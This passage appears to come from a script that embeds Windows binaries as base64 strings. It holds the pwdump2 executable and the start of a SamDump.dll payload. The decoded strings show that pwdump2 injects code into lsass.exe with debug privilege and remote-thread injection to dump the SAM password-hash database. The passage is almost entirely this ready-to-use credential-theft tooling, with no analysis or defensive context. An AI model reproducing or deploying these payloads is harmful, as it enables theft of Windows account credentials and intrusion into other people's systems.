+UT0AEAAAjUwkCHIUgekAEAAALQAQAACFAT0AEAAAc+wryIvEhQGL4YsIi0AEUMNVi+xq/2iwZEAA +aJBBQABkoQAAAABQZIklAAAAAIPsHFNWV4ll6DP/OT2AfUAAdUZXV2oBW1NoZGRAAL4AAQAAVlf/ +FehgQACFwHQIiR2AfUAA6yJXV1NoYGRAAFZX/xXkYEAAhcAPhCIBAADHBYB9QAACAAAAOX0UfhD/ +dRT/dRDongEAAFlZiUUUoYB9QACD+AJ1Hf91HP91GP91FP91EP91DP91CP8V5GBAAOneAAAAg/gB +D4XTAAAAOX0gdQiheH1AAIlFIFdX/3UU/3UQi0Uk99gbwIPgCEBQ/3Ug/xXEYEAAi9iJXeQ73w+E +nAAAAIl9/I0EG4PAAyT86M/+//+JZeiLxIlF3INN/P/rE2oBWMOLZegz/4l93INN/P+LXeQ5fdx0 +ZlP/ddz/dRT/dRBqAf91IP8VxGBAAIXAdE1XV1P/ddz/dQz/dQj/FehgQACL8Il12Dv3dDL2RQ0E +dEA5fRwPhLIAAAA7dRx/Hv91HP91GFP/ddz/dQz/dQj/FehgQACFwA+FjwAAADPAjWXIi03wZIkN +AAAAAF9eW8nDx0X8AQAAAI0ENoPAAyT86Bv+//+JZeiL3Ild4INN/P/rEmoBWMOLZegz/zPbg038 +/4t12DvfdLRWU/915P913P91DP91CP8V6GBAAIXAdJw5fRxXV3UEV1frBv91HP91GFZTaCACAAD/ +dSD/FaxgQACL8Dv3D4Rx////i8bpbP///4tUJAiLRCQEhdJWjUr/dA2AOAB0CECL8UmF9nXzgDgA +XnUFK0QkBMOLwsP/JbhgQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAqGcAAJBnAAB4ZwAAAAAAABRmAABKZgAAWmYAAGpmAAB4ZgAAhmYAAJpmAACqZgAA +JGYAADpmAADoZgAA/mYAABRnAAAqZwAANmcAAEpnAABWZwAAAmYAANZmAADAZgAA/mcAAMpnAADW +ZwAA5GcAAPBnAAD0ZQAAEmgAACRoAAAyaAAAQGgAAE5oAABcaAAAbGgAAH5oAACOaAAAnGgAAK5o +AADKaAAA5GgAAP5oAAAUaQAALGkAAEZpAABSaQAAXmkAAHJpAACIaQAAmmkAAKxpAAC+aQAAymkA +ANRpAADgaQAA8GkAAABqAAAAAAAA/////wcdQAAbHUAABgAABgABAAAQAAMGAAYCEARFRUUFBQUF +BTUwAFAAAAAAICg4UFgHCAA3MDBXUAcAACAgCAAAAAAIYGhgYGBgAABwcHh4eHgIBwgAAAcACAgI +AAAIAAgABwgAAAAoAG4AdQBsAGwAKQAAAAAAKG51bGwpAABydW50aW1lIGVycm9yIAAADQoAAFRM +T1NTIGVycm9yDQoAAABTSU5HIGVycm9yDQoAAAAARE9NQUlOIGVycm9yDQoAAFI2MDI4DQotIHVu +YWJsZSB0byBpbml0aWFsaXplIGhlYXANCgAAAABSNjAyNw0KLSBub3QgZW5vdWdoIHNwYWNlIGZv +ciBsb3dpbyBpbml0aWFsaXphdGlvbg0KAAAAAFI2MDI2DQotIG5vdCBlbm91Z2ggc3BhY2UgZm9y +IHN0ZGlvIGluaXRpYWxpemF0aW9uDQoAAAAAUjYwMjUNCi0gcHVyZSB2aXJ0dWFsIGZ1bmN0aW9u +IGNhbGwNCgAAAFI2MDI0DQotIG5vdCBlbm91Z2ggc3BhY2UgZm9yIF9vbmV4aXQvYXRleGl0IHRh +YmxlDQoAAAAAUjYwMTkNCi0gdW5hYmxlIHRvIG9wZW4gY29uc29sZSBkZXZpY2UNCgAAAABSNjAx +OA0KLSB1bmV4cGVjdGVkIGhlYXAgZXJyb3INCgAAAABSNjAxNw0KLSB1bmV4cGVjdGVkIG11bHRp +dGhyZWFkIGxvY2sgZXJyb3INCgAAAABSNjAxNg0KLSBub3QgZW5vdWdoIHNwYWNlIGZvciB0aHJl +YWQgZGF0YQ0KAA0KYWJub3JtYWwgcHJvZ3JhbSB0ZXJtaW5hdGlvbg0KAAAAAFI2MDA5DQotIG5v +dCBlbm91Z2ggc3BhY2UgZm9yIGVudmlyb25tZW50DQoAUjYwMDgNCi0gbm90IGVub3VnaCBzcGFj +ZSBmb3IgYXJndW1lbnRzDQoAAABSNjAwMg0KLSBmbG9hdGluZyBwb2ludCBub3QgbG9hZGVkDQoA +AAAATWljcm9zb2Z0IFZpc3VhbCBDKysgUnVudGltZSBMaWJyYXJ5AAAAAAoKAABSdW50aW1lIEVy +cm9yIQoKUHJvZ3JhbTogAAAALi4uADxwcm9ncmFtIG5hbWUgdW5rbm93bj4AAAAAAAAAAAAA//// +/+tMQADvTEAAR2V0TGFzdEFjdGl2ZVBvcHVwAABHZXRBY3RpdmVXaW5kb3cATWVzc2FnZUJveEEA +dXNlcjMyLmRsbAAA/////79WQADDVkAA/////3NXQAB3V0AAFGUAAAAAAAAAAAAAamcAABBgAAAE +ZQAAAAAAAAAAAAC8ZwAAAGAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAqGcAAJBnAAB4ZwAAAAAAABRm +AABKZgAAWmYAAGpmAAB4ZgAAhmYAAJpmAACqZgAAJGYAADpmAADoZgAA/mYAABRnAAAqZwAANmcA +AEpnAABWZwAAAmYAANZmAADAZgAA/mcAAMpnAADWZwAA5GcAAPBnAAD0ZQAAEmgAACRoAAAyaAAA +QGgAAE5oAABcaAAAbGgAAH5oAACOaAAAnGgAAK5oAADKaAAA5GgAAP5oAAAUaQAALGkAAEZpAABS +aQAAXmkAAHJpAACIaQAAmmkAAKxpAAC+aQAAymkAANRpAADgaQAA8GkAAABqAAAAAAAAwwBGcmVl +TGlicmFyeQBTAUdldFByb2NBZGRyZXNzAADfAUxvYWRMaWJyYXJ5QQAA/QJXYWl0Rm9yU2luZ2xl +T2JqZWN0AE0AQ3JlYXRlVGhyZWFkAAA0AENyZWF0ZUV2ZW50QQAALQFHZXRMYXN0RXJyb3IAABEC +T3BlblByb2Nlc3MAHgBDbG9zZUhhbmRsZQAJAUdldEN1cnJlbnRQcm9jZXNzAPICVmlydHVhbEZy +ZWVFeABJAENyZWF0ZVJlbW90ZVRocmVhZAAAFwNXcml0ZVByb2Nlc3NNZW1vcnkAAO8CVmlydHVh +bEFsbG9jRXgAAAoBR2V0Q3VycmVudFByb2Nlc3NJZAA4AUdldE1vZHVsZUZpbGVOYW1lQQAAZQBE +aXNjb25uZWN0TmFtZWRQaXBlAD0CUmVhZEZpbGUAACYAQ29ubmVjdE5hbWVkUGlwZQAAkAJTZXRF +dmVudAAARABDcmVhdGVOYW1lZFBpcGVBAABLRVJORUwzMi5kbGwAABkAQWRqdXN0VG9rZW5Qcml2 +aWxlZ2VzABgBTG9va3VwUHJpdmlsZWdlVmFsdWVBAGcBT3BlblByb2Nlc3NUb2tlbgAAQURWQVBJ +MzIuZGxsAAC6AUhlYXBGcmVlAAC9AUhlYXBSZUFsbG9jALQBSGVhcEFsbG9jAIwARXhpdFByb2Nl +c3MAywJUZXJtaW5hdGVQcm9jZXNzAADaAEdldENvbW1hbmRMaW5lQQCOAUdldFZlcnNpb24AALgB +SGVhcERlc3Ryb3kAtgFIZWFwQ3JlYXRlAADxAlZpcnR1YWxGcmVlAO4CVmlydHVhbEFsbG9jAACY +AlNldEhhbmRsZUNvdW50AABoAUdldFN0ZEhhbmRsZQAAKAFHZXRGaWxlVHlwZQBmAUdldFN0YXJ0 +dXBJbmZvQQDbAlVuaGFuZGxlZEV4Y2VwdGlvbkZpbHRlcgAAwQBGcmVlRW52aXJvbm1lbnRTdHJp +bmdzQQDCAEZyZWVFbnZpcm9ubWVudFN0cmluZ3NXAAEDV2lkZUNoYXJUb011bHRpQnl0ZQAZAUdl +dEVudmlyb25tZW50U3RyaW5ncwAbAUdldEVudmlyb25tZW50U3RyaW5nc1cAAFcCUnRsVW53aW5k +AA4DV3JpdGVGaWxlALkARmx1c2hGaWxlQnVmZmVycwAAAgJNdWx0aUJ5dGVUb1dpZGVDaGFyAGkB +R2V0U3RyaW5nVHlwZUEAAGwBR2V0U3RyaW5nVHlwZVcAAJUCU2V0RmlsZVBvaW50ZXIAAM8AR2V0 +Q1BJbmZvAMkAR2V0QUNQAABGAUdldE9FTUNQAACoAlNldFN0ZEhhbmRsZQAA3AFMQ01hcFN0cmlu +Z0EAAN0BTENNYXBTdHJpbmdXAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAHQZQADUUkAAAAAAAAAAAAAZGkAAAAAAAAAAAAAAAAAAAAAAAEwAUwBBAFMA +UwAuAEUAWABFAAAAUnRsQ29tcGFyZVVuaWNvZGVTdHJpbmcATnRRdWVyeVN5c3RlbUluZm9ybWF0 +aW9uAAAAAE5URExMAAAAClB3ZHVtcDIgLSBkdW1wIHRoZSBTQU0gZGF0YWJhc2UuClVzYWdlOiAl +cyA8cGlkIG9mIGxzYXNzLmV4ZT4KAEZhaWxlZCBzdGFydGluZyBsaXN0ZW4gb24gcGlwZTogJWQu +ICBFeGl0aW5nCgAAAEZhaWxlZCB0byBjcmVhdGUgcmVjZWl2aW5nIHRocmVhZDogJWQuICBFeGl0 +aW5nCgAAAABGYWlsZWQgdG8gb3BlbiBsc2FzczogJWQuICBFeGl0aW5nLgoAAAAARmFpbGVkIGVu +YWJsaW5nIERlYnVnIHByaXZpbGVnZS4gIFByb2NlZWRpbmcgYW55d2F5CgAAAABVbmFibGUgdG8g +ZmluZCBsc2Fzcy5leGUgcGlkIGF1dG9tYXRpY2FsbHkuCllvdSBuZWVkIHRvIHNwZWNpZnkgb24g +dGhlIGNvbW1hbmQgbGluZQoAAAAAVW5hYmxlIHRvIGFkanVzdCB0b2tlbiBwcml2aWxlZ2VzOiAl +ZAoAAFVuYWJsZSB0byBsb29rdXAgcHJpdmlsZWdlOiAlZAoAU2VEZWJ1Z1ByaXZpbGVnZQAAAABV +bmFibGUgdG8gb3BlbiBwcm9jZXNzIHRva2VuOiAlZAoAAABDcmVhdGVSZW1vdGVUaHJlYWQgZmFp +bGVkOiAlZAoAAFdyaXRlUHJvY2Vzc01lbW9yeSBmYWlsZWQ6ICVkCgAAVmlydHVhbEFsbG9jRXgg +ZmFpbGVkOiAlZAoAAFxcLlxwaXBlXHB3ZHVtcDItJWQARHVtcFNhbQBTYW1EdW1wLmRsbABGcmVl +TGlicmFyeQBHZXRQcm9jQWRkcmVzcwAATG9hZExpYnJhcnlBAAAAAEtlcm5lbDMyAAAAACVzAABG +YWlsZWQgdG8gY29ubmVjdCB0aGUgcGlwZTogJWQKAEZhaWxlZCB0byBjcmVhdGUgdGhlIHBpcGU6 +ICVkCgAAAAAAAACBQAAAAAAAAIFAAAEBAAAAAAAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAgAA +AAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAABNGEAAAQAAABAAAAD4AwAAaGFAAFhhQAD/////AAoAAAp2 +QAAKdkAAAAAgACAAIAAgACAAIAAgACAAIAAoACgAKAAoACgAIAAgACAAIAAgACAAIAAgACAAIAAg +ACAAIAAgACAAIAAgACAASAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEACEAIQAhACEAIQA +hACEAIQAhACEABAAEAAQABAAEAAQABAAgQCBAIEAgQCBAIEAAQABAAEAAQABAAEAAQABAAEAAQAB +AAEAAQABAAEAAQABAAEAAQABABAAEAAQABAAEAAQAIIAggCCAIIAggCCAAIAAgACAAIAAgACAAIA +AgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAQABAAEAAQACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAQAAAC4AAAABAAAAAAAAAAAAAAAFAADACwAAAAAAAAAdAADABAAAAAAAAACWAADA +BAAAAAAAAACNAADACAAAAAAAAACOAADACAAAAAAAAACPAADACAAAAAAAAACQAADACAAAAAAAAACR +AADACAAAAAAAAACSAADACAAAAAAAAACTAADACAAAAAAAAAADAAAABwAAAAoAAACMAAAAIAWTGQAA +AAAAAAAAAAAAAAIAAADUY0AACAAAAKhjQAAJAAAAfGNAAAoAAABYY0AAEAAAACxjQAARAAAA/GJA +ABIAAADYYkAAEwAAAKxiQAAYAAAAdGJAABkAAABMYkAAGgAAABRiQAAbAAAA3GFAABwAAAC0YUAA +eAAAAKRhQAB5AAAAlGFAAHoAAACEYUAA/AAAAIBhQAD/AAAAcGFAAAAAAAAAAAAAeVNAAHlTQAB5 +U0AAeVNAAHlTQAB5U0AAAAAAAAAAAAABAgQIAAAAAKQDAABggnmCIQAAAAAAAACm3wAAAAAAAKGl +AAAAAAAAgZ/g/AAAAABAfoD8AAAAAKgDAADBo9qjIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgf4A +AAAAAABA/gAAAAAAALUDAADBo9qjIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgf4AAAAAAABB/gAA +AAAAALYDAADPouSiGgDlouiiWwAAAAAAAAAAAAAAAAAAAAAAgf4AAAAAAABAfqH+AAAAAFEFAABR +2l7aIABf2mraMgAAAAAAAAAAAAAAAAAAAAAAgdPY3uD5AAAxfoH+AAAAAAEAAAAWAAAAAgAAAAIA +AAADAAAAAgAAAAQAAAAYAAAABQAAAA0AAAAGAAAACQAAAAcAAAAMAAAACAAAAAwAAAAJAAAADAAA +AAoAAAAHAAAACwAAAAgAAAAMAAAAFgAAAA0AAAAWAAAADwAAAAIAAAAQAAAADQAAABEAAAASAAAA +EgAAAAIAAAAhAAAADQAAADUAAAACAAAAQQAAAA0AAABDAAAAAgAAAFAAAAARAAAAUgAAAA0AAABT +AAAADQAAAFcAAAAWAAAAWQAAAAsAAABsAAAADQAAAG0AAAAgAAAAcAAAABwAAAByAAAACQAAAAYA +AAAWAAAAgAAAAAoAAACBAAAACgAAAIIAAAAJAAAAgwAAABYAAACEAAAADQAAAJEAAAApAAAAngAA +AA0AAAChAAAAAgAAAKQAAAALAAAApwAAAA0AAAC3AAAAEQAAAM4AAAACAAAA1wAAAAsAAAAYBwAA +DAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA="; + +$samdumpdll="TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAA2AAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1v +ZGUuDQ0KJAAAAAAAAAA5YhDKfQN+mX0Dfpl9A36ZlRx1mXwDfpmVHHSZNwN+mf4fcJluA36ZJCBt +mXgDfpl9A3+ZNAN+mYIjdJl8A36ZgiN6mXwDfplSaWNofQN+mQAAAAAAAAAAUEUAAEwBBAAT+OA4 +AAAAAAAAAADgAA4hCwEGAABQAAAAUAAAAAAAAIoaAAAAEAAAAGAAAAAAABAAEAAAABAAAAQAAAAA +AAAABAAAAAAAAAAAsAAAABAAAAAAAAACAAAAAAAQAAAQAAAAABAAABAAAAAAAAAQAAAAYGsAAEYA +AAAwZgAAPAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACgAADkBQAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAOwAAAAAAAAAAAAAAAAAAAAAAAAA 